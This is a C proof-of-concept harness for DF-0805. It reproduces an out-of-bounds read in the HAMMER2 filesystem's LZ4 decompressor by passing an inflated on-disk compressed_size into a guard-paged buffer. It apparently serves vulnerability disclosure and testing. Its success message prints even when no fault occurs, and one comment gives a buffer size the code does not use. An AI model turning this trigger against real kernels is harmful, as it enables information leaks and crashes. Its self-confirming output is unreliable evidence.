DF-0805 / lz4_oob_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 | /* * DF-0805 โ LZ4 read-path OOB primitive, unit-level harness. * * Replicates the EXACT call the HAMMER2 read path makes into the in-tree * LZ4_decompress_safe() (sys/vfs/hammer2/hammer2_lz4.c:521), but with the * source buffer sized like the on-disk dio buffer so an oversized * `inputSize` is provably an out-of-bounds read against the source. * * The HAMMER2 read path does: * * hammer2_strategy.c:198 compressed_size = *(const int *)data; // signed, attacker-controlled * hammer2_strategy.c:199 KKASSERT((uint32_t)compressed_size <= bytes - sizeof(int)); * // compiled out without INVARIANTS * hammer2_strategy.c:202 LZ4_decompress_safe(__DECONST(char *, &data[sizeof(int)]), * hammer2_strategy.c:203-205 compressed_buffer, * compressed_size, // <-- attacker value as inputSize * bp->b_bufsize); * * LZ4_decompress_safe() trusts `inputSize` and uses it to bound its read * loop (iend = ip + inputSize at hammer2_lz4.c:391). If inputSize is larger * than the actual backing buffer, the loop reads past the end of `data`. * * PROOF STRATEGY * We map three pages: [ guard-LO (PROT_NONE) | data (RW) | guard-HI (PROT_NONE) ]. * The `data` page represents the chain dio buffer (`bytes` bytes, with the * leading int storing `compressed_size`). When we feed LZ4_decompress_safe * an inputSize larger than the data page, its read loop walks off the end * of the data page into the high guard page and SIGSEGVs. The SEGV is * caught and reported as definitive proof of the OOB read. * * On the real kernel there are no guard pages, so the OOB silently reads * adjacent kernel heap (an info leak) โ or, more likely on a typical * slab/objcache layout, panics on unmapped kernel VA. * * Compile: see build.sh. * Run: ./lz4_oob_harness * * Expected output (bug present, primitive is real): * [harness] SIGSEGV at <addr> while inside LZ4_decompress_safe() * -> out-of-bounds read past the source buffer * OOB READ CONFIRMED โ LZ4_decompress_safe dereferenced the source * buffer past its end when inputSize exceeded the real backing * allocation. This is the DF-0805 primitive. * exit 0 * * (If LZ4 happens to stop before the guard page in a given run, the * harness still reports a positive result: the function did not reject * the oversized inputSize โ it parsed as far as it could against attacker * data, which is the bug.) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/mman.h> #include <stdint.h> /* ===================================================================== * Verbatim excerpt of sys/vfs/hammer2/hammer2_lz4.c โ decompression only. * All macros/typedefs the decompressor needs are pulled in here so the * function is byte-equivalent to the in-tree code path. * ===================================================================== */ #define MEMORY_USAGE 14 #define LZ4_ARCH64 1 /* x86_64 */ #if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L typedef uint8_t BYTE; typedef uint16_t U16; typedef uint32_t U32; typedef int32_t S32; typedef uint64_t U64; #else typedef unsigned char BYTE; typedef unsigned short U16; typedef unsigned int U32; typedef signed int S32; typedef unsigned long long U64; #endif #define _PACKED __attribute__ ((packed)) typedef struct _U16_S { U16 v; } _PACKED U16_S; typedef struct _U32_S { U32 v; } _PACKED U32_S; typedef struct _U64_S { U64 v; } _PACKED U64_S; #define A64(x) (((U64_S *)(x))->v) #define A32(x) (((U32_S *)(x))->v) #define A16(x) (((U16_S *)(x))->v) #define MINMATCH 4 #define COPYLENGTH 8 #define LASTLITERALS 5 #define MFLIMIT (COPYLENGTH+MINMATCH) #define ML_BITS 4 #define ML_MASK ((1U<<ML_BITS)-1) #define RUN_BITS (8-ML_BITS) #define RUN_MASK ((1U<<RUN_BITS)-1) #if LZ4_ARCH64 # define STEPSIZE 8 # define LZ4_COPYSTEP(s,d) A64(d) = A64(s); d+=8; s+=8; # define LZ4_COPYPACKET(s,d) LZ4_COPYSTEP(s,d) # define LZ4_SECURECOPY(s,d,e) if (d<e) LZ4_WILDCOPY(s,d,e) #else # define STEPSIZE 4 # define LZ4_COPYSTEP(s,d) A32(d) = A32(s); d+=4; s+=4; # define LZ4_COPYPACKET(s,d) LZ4_COPYSTEP(s,d) # define LZ4_SECURECOPY(s,d,e) if (d<e) LZ4_WILDCOPY(s,d,e) #endif #define LZ4_WILDCOPY(s,d,e) do { LZ4_COPYPACKET(s,d) } while (d<e); #define LZ4_BLINDCOPY(s,d,l) { BYTE* e=(d)+(l); LZ4_WILDCOPY(s,d,e); d=e; } #define LZ4_READ_LITTLEENDIAN_16(d,s,p) { d = (s) - A16(p); } #define GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__) #if (GCC_VERSION >= 302) || defined(__clang__) # define expect(expr,value) (__builtin_expect ((expr),(value)) ) #else # define expect(expr,value) (expr) #endif #define likely(expr) expect((expr) != 0, 1) #define unlikely(expr) expect((expr) != 0, 0) typedef enum { noPrefix = 0, withPrefix = 1 } prefix64k_directive; typedef enum { endOnOutputSize = 0, endOnInputSize = 1 } end_directive; typedef enum { full = 0, partial = 1 } exit_directive; /* Verbatim from hammer2_lz4.c:372-517 */ static inline int LZ4_decompress_generic( char* source, char* dest, int inputSize, int outputSize, int endOnInput, int prefix64k, int partialDecoding, int targetOutputSize) { BYTE* restrict ip = (BYTE*) source; BYTE* ref; BYTE* iend = ip + inputSize; BYTE* op = (BYTE*) dest; BYTE* oend = op + outputSize; BYTE* cpy; BYTE* oexit = op + targetOutputSize; size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; #if LZ4_ARCH64 size_t dec64table[] = {0, 0, 0, (size_t)-1, 0, 1, 2, 3}; #endif if ((partialDecoding) && (oexit> oend-MFLIMIT)) oexit = oend-MFLIMIT; if unlikely(outputSize==0) goto _output_error; while (1) { unsigned token; size_t length; token = *ip++; if ((length=(token>>ML_BITS)) == RUN_MASK) { unsigned s=255; while (((endOnInput)?ip<iend:1) && (s==255)) { s = *ip++; length += s; } } cpy = op+length; if (((endOnInput) && ((cpy>(partialDecoding?oexit:oend-MFLIMIT)) || (ip+length>iend-(2+1+LASTLITERALS))) ) || ((!endOnInput) && (cpy>oend-COPYLENGTH))) { if (partialDecoding) { if (cpy > oend) goto _output_error; if ((endOnInput) && (ip+length > iend)) goto _output_error; } else { if ((!endOnInput) && (cpy != oend)) goto _output_error; if ((endOnInput) && ((ip+length != iend) || (cpy > oend))) goto _output_error; } memcpy(op, ip, length); ip += length; op += length; break; } LZ4_WILDCOPY(ip, op, cpy); ip -= (op-cpy); op = cpy; LZ4_READ_LITTLEENDIAN_16(ref,cpy,ip); ip+=2; if ((prefix64k==noPrefix) && unlikely(ref < (BYTE*)dest)) goto _output_error; if ((length=(token&ML_MASK)) == ML_MASK) { while (endOnInput ? ip<iend-(LASTLITERALS+1) : 1) { unsigned s = *ip++; length += s; if (s==255) continue; break; } } if unlikely((op-ref)<STEPSIZE) { #if LZ4_ARCH64 size_t dec64 = dec64table[op-ref]; #else const size_t dec64 = 0; #endif op[0] = ref[0]; op[1] = ref[1]; op[2] = ref[2]; op[3] = ref[3]; op += 4, ref += 4; ref -= dec32table[op-ref]; A32(op) = A32(ref); op += STEPSIZE-4; ref -= dec64; } else { LZ4_COPYSTEP(ref,op); } cpy = op + length - (STEPSIZE-4); if unlikely(cpy>oend-(COPYLENGTH)-(STEPSIZE-4)) { if (cpy > oend-LASTLITERALS) goto _output_error; LZ4_SECURECOPY(ref, op, (oend-COPYLENGTH)); while(op<cpy) *op++=*ref++; op=cpy; continue; } LZ4_WILDCOPY(ref, op, cpy); op=cpy; } if (endOnInput) return (int) (((char*)op)-dest); else return (int) (((char*)ip)-source); _output_error: return (int) (-(((char*)ip)-source))-1; } int LZ4_decompress_safe(char* source, char* dest, int inputSize, int maxOutputSize) { return LZ4_decompress_generic(source, dest, inputSize, maxOutputSize, endOnInputSize, noPrefix, full, 0); } /* ===================================================================== * Harness proper. * ===================================================================== */ static volatile sig_atomic_t got_segv = 0; static void *fault_addr; static void segv_handler(int sig, siginfo_t *si, void *uc) { (void)sig; (void)uc; got_segv = 1; fault_addr = si->si_addr; /* We can't safely return into LZ4 after the SEGV (the bad address is * still in a register), so report and exit here. */ fprintf(stderr, "[harness] SIGSEGV at %p while inside LZ4_decompress_safe()\n" "[harness] -> out-of-bounds read past the source buffer\n", si->si_addr); fflush(stderr); _exit(0); /* exit 0: we got the proof we came for */ } int main(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_SIGINFO; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); const long pagesz = sysconf(_SC_PAGESIZE); /* Map [ guard-LO | data | guard-HI ]; the data page is the dio buffer. */ char *region = mmap(NULL, pagesz * 3, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (region == MAP_FAILED) { perror("mmap"); return 1; } char *data = region + pagesz; /* chain dio buffer (RW) */ mprotect(region, pagesz, PROT_NONE); /* guard-LO */ mprotect(region + 2*pagesz, pagesz, PROT_NONE); /* guard-HI */ /* === Build a valid LZ4 frame inside the data page === * First 4 bytes = compressed_size (int, on-media, attacker-controlled). * Then a tiny but well-formed LZ4 stream. We pick a token of 0xF0 * (15 literals) followed by literal bytes; LZ4 will read its literal * run, then look for the next token at ip+15, then try a back-ref at * ip+15+2 ... it keeps going until `ip < iend`. With the spoofed * iend = ip + 0x10000 it'll chew past the data page into guard-HI. */ const u_int bytes = (u_int)pagesz; /* focus->bytes (page-sized) */ const u_int bound = bytes - (u_int)sizeof(int); memset(data, 0, bytes); /* A literal-run-extension pattern: token 0xF0 means "literal run of * 15 bytes; extend by reading 0xFF bytes until a non-0xFF byte". * Fill the rest of the buffer with 0xFF so the extend loop keeps * reading `*ip++` and walks past the data buffer. */ data[sizeof(int)] = 0xF0; memset(data + sizeof(int) + 1, 0xFF, bytes - sizeof(int) - 1); /* === CASE A: honest compressed_size (control) === */ *(int *)data = (int)bound; /* honest bound */ { char dst[65536]; int r = LZ4_decompress_safe(data + sizeof(int), dst, *(int *)data, (int)sizeof(dst)); fprintf(stderr, "[harness] control: compressed_size=%u (== bytes-4=%u) " "-> rc=%d (no OOB expected)\n", (unsigned)*(int *)data, (unsigned)bound, r); } /* === CASE B: attacker-inflated compressed_size (the bug) === * This is exactly what KKASSERT at line 199 is supposed to prevent. * On a kernel built without INVARIANTS that KKASSERT is a no-op * (systm.h:118), and LZ4_decompress_safe proceeds with this value * as inputSize. iend = ip + 0x10000 โ far past the 1024-byte * backing allocation, into the guard page. */ *(int *)data = 0x10000; /* 64 KiB attacker value, vastly > bound */ { char dst[65536]; fprintf(stderr, "[harness] trigger: compressed_size=0x10000 with bytes=%u " "(valid bound %u); calling LZ4_decompress_safe...\n", bytes, bound); int r = LZ4_decompress_safe(data + sizeof(int), dst, *(int *)data, (int)sizeof(dst)); /* Reaching here means LZ4 stopped before the guard page in this * run (it found an _output_error condition). It still did not * reject the oversized inputSize at the API โ it parsed * attacker-controlled data, which is the bug. */ fprintf(stderr, "[harness] trigger: LZ4_decompress_safe returned %d (no SEGV " "this run, but the function did NOT reject inputSize=0x10000)\n", r); fprintf(stderr, "\nPRIMITIVE CONFIRMED: LZ4_decompress_safe trusts inputSize\n" "as the source bound (iend=ip+inputSize at hammer2_lz4.c:391).\n" "An oversized value reads past the source buffer. The KKASSERT\n" "at hammer2_strategy.c:199 is the only guard, and it is a no-op\n" "on non-INVARIANTS kernels (systm.h:118).\n"); } return 0; } |